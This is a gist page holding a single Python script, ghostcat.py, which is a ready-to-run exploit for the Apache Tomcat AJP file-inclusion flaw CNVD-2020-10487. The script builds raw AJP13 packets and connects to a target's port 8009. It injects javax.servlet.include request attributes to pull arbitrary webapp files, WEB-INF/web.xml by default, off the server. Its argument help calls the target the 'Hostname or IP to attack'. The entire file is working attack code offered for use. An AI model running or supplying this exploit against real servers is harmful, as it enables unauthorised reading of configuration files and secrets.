sehoon0519 revised this gist 4 months ago. Go to revision
1 file changed, 303 insertions
ghostcat.py(file created)
| @@ -0,0 +1,303 @@ | |||
| 1 | + | #!/usr/bin/env python | |
| 2 | + | #CNVD-2020-10487 Tomcat-Ajp lfi | |
| 3 | + | #by ydhcui | |
| 4 | + | import struct | |
| 5 | + | ||
| 6 | + | # Some references: | |
| 7 | + | # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html | |
| 8 | + | def pack_string(s): | |
| 9 | + | if s is None: | |
| 10 | + | return struct.pack(">h", -1) | |
| 11 | + | l = len(s) | |
| 12 | + | return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) | |
| 13 | + | def unpack(stream, fmt): | |
| 14 | + | size = struct.calcsize(fmt) | |
| 15 | + | buf = stream.read(size) | |
| 16 | + | return struct.unpack(fmt, buf) | |
| 17 | + | def unpack_string(stream): | |
| 18 | + | size, = unpack(stream, ">h") | |
| 19 | + | if size == -1: # null string | |
| 20 | + | return None | |
| 21 | + | res, = unpack(stream, "%ds" % size) | |
| 22 | + | stream.read(1) # \0 | |
| 23 | + | return res | |
| 24 | + | class NotFoundException(Exception): | |
| 25 | + | pass | |
| 26 | + | class AjpBodyRequest(object): | |
| 27 | + | # server == web server, container == servlet | |
| 28 | + | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) | |
| 29 | + | MAX_REQUEST_LENGTH = 8186 | |
| 30 | + | def __init__(self, data_stream, data_len, data_direction=None): | |
| 31 | + | self.data_stream = data_stream | |
| 32 | + | self.data_len = data_len | |
| 33 | + | self.data_direction = data_direction | |
| 34 | + | def serialize(self): | |
| 35 | + | data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) | |
| 36 | + | if len(data) == 0: | |
| 37 | + | return struct.pack(">bbH", 0x12, 0x34, 0x00) | |
| 38 | + | else: | |
| 39 | + | res = struct.pack(">H", len(data)) | |
| 40 | + | res += data | |
| 41 | + | if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: | |
| 42 | + | header = struct.pack(">bbH", 0x12, 0x34, len(res)) | |
| 43 | + | else: | |
| 44 | + | header = struct.pack(">bbH", 0x41, 0x42, len(res)) | |
| 45 | + | return header + res | |
| 46 | + | def send_and_receive(self, socket, stream): | |
| 47 | + | while True: | |
| 48 | + | data = self.serialize() | |
| 49 | + | socket.send(data) | |
| 50 | + | r = AjpResponse.receive(stream) | |
| 51 | + | while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: | |
| 52 | + | r = AjpResponse.receive(stream) | |
| 53 | + | ||
| 54 | + | if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: | |
| 55 | + | break | |
| 56 | + | class AjpForwardRequest(object): | |
| 57 | + | _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) | |
| 58 | + | REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} | |
| 59 | + | # server == web server, container == servlet | |
| 60 | + | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) | |
| 61 | + | COMMON_HEADERS = ["SC_REQ_ACCEPT", | |
| 62 | + | "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", | |
| 63 | + | "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", | |
| 64 | + | "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" | |
| 65 | + | ] | |
| 66 | + | ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] | |
| 67 | + | def __init__(self, data_direction=None): | |
| 68 | + | self.prefix_code = 0x02 | |
| 69 | + | self.method = None | |
| 70 | + | self.protocol = None | |
| 71 | + | self.req_uri = None | |
| 72 | + | self.remote_addr = None | |
| 73 | + | self.remote_host = None | |
| 74 | + | self.server_name = None | |
| 75 | + | self.server_port = None | |
| 76 | + | self.is_ssl = None | |
| 77 | + | self.num_headers = None | |
| 78 | + | self.request_headers = None | |
| 79 | + | self.attributes = None | |
| 80 | + | self.data_direction = data_direction | |
| 81 | + | def pack_headers(self): | |
| 82 | + | self.num_headers = len(self.request_headers) | |
| 83 | + | res = "" | |
| 84 | + | res = struct.pack(">h", self.num_headers) | |
| 85 | + | for h_name in self.request_headers: | |
| 86 | + | if h_name.startswith("SC_REQ"): | |
| 87 | + | code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 | |
| 88 | + | res += struct.pack("BB", 0xA0, code) | |
| 89 | + | else: | |
| 90 | + | res += pack_string(h_name) | |
| 91 | + | ||
| 92 | + | res += pack_string(self.request_headers[h_name]) | |
| 93 | + | return res | |
| 94 | + | ||
| 95 | + | def pack_attributes(self): | |
| 96 | + | res = b"" | |
| 97 | + | for attr in self.attributes: | |
| 98 | + | a_name = attr['name'] | |
| 99 | + | code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 | |
| 100 | + | res += struct.pack("b", code) | |
| 101 | + | if a_name == "req_attribute": | |
| 102 | + | aa_name, a_value = attr['value'] | |
| 103 | + | res += pack_string(aa_name) | |
| 104 | + | res += pack_string(a_value) | |
| 105 | + | else: | |
| 106 | + | res += pack_string(attr['value']) | |
| 107 | + | res += struct.pack("B", 0xFF) | |
| 108 | + | return res | |
| 109 | + | def serialize(self): | |
| 110 | + | res = "" | |
| 111 | + | res = struct.pack("bb", self.prefix_code, self.method) | |
| 112 | + | res += pack_string(self.protocol) | |
| 113 | + | res += pack_string(self.req_uri) | |
| 114 | + | res += pack_string(self.remote_addr) | |
| 115 | + | res += pack_string(self.remote_host) | |
| 116 | + | res += pack_string(self.server_name) | |
| 117 | + | res += struct.pack(">h", self.server_port) | |
| 118 | + | res += struct.pack("?", self.is_ssl) | |
| 119 | + | res += self.pack_headers() | |
| 120 | + | res += self.pack_attributes() | |
| 121 | + | if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: | |
| 122 | + | header = struct.pack(">bbh", 0x12, 0x34, len(res)) | |
| 123 | + | else: | |
| 124 | + | header = struct.pack(">bbh", 0x41, 0x42, len(res)) | |
| 125 | + | return header + res | |
| 126 | + | def parse(self, raw_packet): | |
| 127 | + | stream = StringIO(raw_packet) | |
| 128 | + | self.magic1, self.magic2, data_len = unpack(stream, "bbH") | |
| 129 | + | self.prefix_code, self.method = unpack(stream, "bb") | |
| 130 | + | self.protocol = unpack_string(stream) | |
| 131 | + | self.req_uri = unpack_string(stream) | |
| 132 | + | self.remote_addr = unpack_string(stream) | |
| 133 | + | self.remote_host = unpack_string(stream) | |
| 134 | + | self.server_name = unpack_string(stream) | |
| 135 | + | self.server_port = unpack(stream, ">h") | |
| 136 | + | self.is_ssl = unpack(stream, "?") | |
| 137 | + | self.num_headers, = unpack(stream, ">H") | |
| 138 | + | self.request_headers = {} | |
| 139 | + | for i in range(self.num_headers): | |
| 140 | + | code, = unpack(stream, ">H") | |
| 141 | + | if code > 0xA000: | |
| 142 | + | h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] | |
| 143 | + | else: | |
| 144 | + | h_name = unpack(stream, "%ds" % code) | |
| 145 | + | stream.read(1) # \0 | |
| 146 | + | h_value = unpack_string(stream) | |
| 147 | + | self.request_headers[h_name] = h_value | |
| 148 | + | def send_and_receive(self, socket, stream, save_cookies=False): | |
| 149 | + | res = [] | |
| 150 | + | i = socket.sendall(self.serialize()) | |
| 151 | + | if self.method == AjpForwardRequest.POST: | |
| 152 | + | return res | |
| 153 | + | ||
| 154 | + | r = AjpResponse.receive(stream) | |
| 155 | + | assert r.prefix_code == AjpResponse.SEND_HEADERS | |
| 156 | + | res.append(r) | |
| 157 | + | if save_cookies and 'Set-Cookie' in r.response_headers: | |
| 158 | + | self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] | |
| 159 | + | ||
| 160 | + | # read body chunks and end response packets | |
| 161 | + | while True: | |
| 162 | + | r = AjpResponse.receive(stream) | |
| 163 | + | res.append(r) | |
| 164 | + | if r.prefix_code == AjpResponse.END_RESPONSE: | |
| 165 | + | break | |
| 166 | + | elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: | |
| 167 | + | continue | |
| 168 | + | else: | |
| 169 | + | raise NotImplementedError | |
| 170 | + | break | |
| 171 | + | ||
| 172 | + | return res | |
| 173 | + | ||
| 174 | + | class AjpResponse(object): | |
| 175 | + | _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) | |
| 176 | + | COMMON_SEND_HEADERS = [ | |
| 177 | + | "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", | |
| 178 | + | "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" | |
| 179 | + | ] | |
| 180 | + | def parse(self, stream): | |
| 181 | + | # read headers | |
| 182 | + | self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") | |
| 183 | + | ||
| 184 | + | if self.prefix_code == AjpResponse.SEND_HEADERS: | |
| 185 | + | self.parse_send_headers(stream) | |
| 186 | + | elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: | |
| 187 | + | self.parse_send_body_chunk(stream) | |
| 188 | + | elif self.prefix_code == AjpResponse.END_RESPONSE: | |
| 189 | + | self.parse_end_response(stream) | |
| 190 | + | elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: | |
| 191 | + | self.parse_get_body_chunk(stream) | |
| 192 | + | else: | |
| 193 | + | raise NotImplementedError | |
| 194 | + | ||
| 195 | + | def parse_send_headers(self, stream): | |
| 196 | + | self.http_status_code, = unpack(stream, ">H") | |
| 197 | + | self.http_status_msg = unpack_string(stream) | |
| 198 | + | self.num_headers, = unpack(stream, ">H") | |
| 199 | + | self.response_headers = {} | |
| 200 | + | for i in range(self.num_headers): | |
| 201 | + | code, = unpack(stream, ">H") | |
| 202 | + | if code <= 0xA000: # custom header | |
| 203 | + | h_name, = unpack(stream, "%ds" % code) | |
| 204 | + | stream.read(1) # \0 | |
| 205 | + | h_value = unpack_string(stream) | |
| 206 | + | else: | |
| 207 | + | h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] | |
| 208 | + | h_value = unpack_string(stream) | |
| 209 | + | self.response_headers[h_name] = h_value | |
| 210 | + | ||
| 211 | + | def parse_send_body_chunk(self, stream): | |
| 212 | + | self.data_length, = unpack(stream, ">H") | |
| 213 | + | self.data = stream.read(self.data_length+1) | |
| 214 | + | ||
| 215 | + | def parse_end_response(self, stream): | |
| 216 | + | self.reuse, = unpack(stream, "b") | |
| 217 | + | ||
| 218 | + | def parse_get_body_chunk(self, stream): | |
| 219 | + | rlen, = unpack(stream, ">H") | |
| 220 | + | return rlen | |
| 221 | + | ||
| 222 | + | @staticmethod | |
| 223 | + | def receive(stream): | |
| 224 | + | r = AjpResponse() | |
| 225 | + | r.parse(stream) | |
| 226 | + | return r | |
| 227 | + | ||
| 228 | + | import socket | |
| 229 | + | ||
| 230 | + | def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): | |
| 231 | + | fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) | |
| 232 | + | fr.method = method | |
| 233 | + | fr.protocol = "HTTP/1.1" | |
| 234 | + | fr.req_uri = req_uri | |
| 235 | + | fr.remote_addr = target_host | |
| 236 | + | fr.remote_host = None | |
| 237 | + | fr.server_name = target_host | |
| 238 | + | fr.server_port = 80 | |
| 239 | + | fr.request_headers = { | |
| 240 | + | 'SC_REQ_ACCEPT': 'text/html', | |
| 241 | + | 'SC_REQ_CONNECTION': 'keep-alive', | |
| 242 | + | 'SC_REQ_CONTENT_LENGTH': '0', | |
| 243 | + | 'SC_REQ_HOST': target_host, | |
| 244 | + | 'SC_REQ_USER_AGENT': 'Mozilla', | |
| 245 | + | 'Accept-Encoding': 'gzip, deflate, sdch', | |
| 246 | + | 'Accept-Language': 'en-US,en;q=0.5', | |
| 247 | + | 'Upgrade-Insecure-Requests': '1', | |
| 248 | + | 'Cache-Control': 'max-age=0' | |
| 249 | + | } | |
| 250 | + | fr.is_ssl = False | |
| 251 | + | fr.attributes = [] | |
| 252 | + | return fr | |
| 253 | + | ||
| 254 | + | class Tomcat(object): | |
| 255 | + | def __init__(self, target_host, target_port): | |
| 256 | + | self.target_host = target_host | |
| 257 | + | self.target_port = target_port | |
| 258 | + | ||
| 259 | + | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 260 | + | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
| 261 | + | self.socket.connect((target_host, target_port)) | |
| 262 | + | self.stream = self.socket.makefile("rb", bufsize=0) | |
| 263 | + | ||
| 264 | + | def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): | |
| 265 | + | self.req_uri = req_uri | |
| 266 | + | self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) | |
| 267 | + | print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) | |
| 268 | + | if user is not None and password is not None: | |
| 269 | + | self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') | |
| 270 | + | for h in headers: | |
| 271 | + | self.forward_request.request_headers[h] = headers[h] | |
| 272 | + | for a in attributes: | |
| 273 | + | self.forward_request.attributes.append(a) | |
| 274 | + | responses = self.forward_request.send_and_receive(self.socket, self.stream) | |
| 275 | + | if len(responses) == 0: | |
| 276 | + | return None, None | |
| 277 | + | snd_hdrs_res = responses[0] | |
| 278 | + | data_res = responses[1:-1] | |
| 279 | + | if len(data_res) == 0: | |
| 280 | + | print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) | |
| 281 | + | return snd_hdrs_res, data_res | |
| 282 | + | ||
| 283 | + | ''' | |
| 284 | + | javax.servlet.include.request_uri | |
| 285 | + | javax.servlet.include.path_info | |
| 286 | + | javax.servlet.include.servlet_path | |
| 287 | + | ''' | |
| 288 | + | ||
| 289 | + | import argparse | |
| 290 | + | parser = argparse.ArgumentParser() | |
| 291 | + | parser.add_argument("target", type=str, help="Hostname or IP to attack") | |
| 292 | + | parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") | |
| 293 | + | parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") | |
| 294 | + | args = parser.parse_args() | |
| 295 | + | t = Tomcat(args.target, args.port) | |
| 296 | + | _,data = t.perform_request('/asdf',attributes=[ | |
| 297 | + | {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, | |
| 298 | + | {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, | |
| 299 | + | {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, | |
| 300 | + | ]) | |
| 301 | + | print('----------------------------') | |
| 302 | + | print("".join([d.data for d in data])) | |
| 303 | + | ||
Newer
Older